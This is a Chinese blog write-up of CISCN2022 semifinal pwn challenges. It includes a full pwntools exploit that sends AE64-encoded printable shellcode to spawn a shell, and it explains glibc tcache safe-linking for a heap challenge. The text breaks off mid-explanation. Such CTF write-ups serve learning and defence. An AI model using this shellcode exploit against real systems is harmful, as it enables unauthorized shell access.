ciscn2022-线上-半决-pwn

本文详细分析了一个CISCN2022线上半决赛的PWN题目,涉及normal_login和printf函数的安全漏洞。通过溢出操作,利用malloc函数分配内存的特性,以及对glibc-2.32后的变化理解,尝试构造shellcode。同时,讨论了__printf_chk和printf的区别,如何利用它们进行内存操控。在程序中,利用printf导致缓冲区不足,进而劫持malloc_hook以获取shell。然而,由于标准输出被关闭,需要重新定向输出来获取flag。
摘要由CSDN通过智能技术生成

normal_login

一个简单的可见字符shellcode
用杭电师傅的工具直接出shellcode,直接写进出就可以拿到shell。
epx:

# coding=UTF-8
from pwn import *
from ae64 import *

filename = './login'
libc_name = './libc-2.33.so'

context.log_level = 'debug'
context.terminal = ['tmux','split','-vp','80']
context.binary = filename

elf = ELF(filename)
libc = ELF(libc_name)


ip = '123.56.111.202'
port =  28076
debug = 1
if debug:
    p = process(filename)
else:
    p = remote(ip,port)

shellcode = asm(shellcraft.sh())
enc_shellcode = AE64().encode(shellcode,'rdx')
print(enc_shellcode)

payload = b"opt:1\nmsg:ro0tt\n\r\n"
p.sendafter(">>> ", payload)
payload = b"opt:2\nmsg:" + enc_shellcode + b"b\n\r\n"
p.sendafter(">>> ", payload)

p.interactive()

newest_note

number是4个字节,后面malloc的参数也是4个字节,可以利用溢出使number很大,然后malloc申请的大小也在一个合理的范围之内。

malloc函数的实现会根据分配内存的size来决定使用哪个分配函数,当size小于等于128KB时,调用brk分配;当size大于128KB时,调用mmap分配内存, mmap 分配的内存与 libc 之前存在固定的偏移。

然后还需要注意glibc-2.32之后

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
   
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free.  */
e->key = tcache;

e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

e->next不再指向tcache头指针,而是指向了经PROTECT_PTR处理过的指针,查看PROTECT_PTR定义:

#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))

然后看tcache_get()函数:

tcache_get (size_t tc_idx)
{
   
    tcache_entry *e = tcache->entries[tc_idx];

    if (__glibc_unlikely (!aligned_OK (e)))
        malloc_printerr ("malloc(): unaligned tcache chunk detected");

    tcache->entries[tc_idx] = REVEAL_PTR (e->next);
    --(tcache->counts[tc_idx])
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值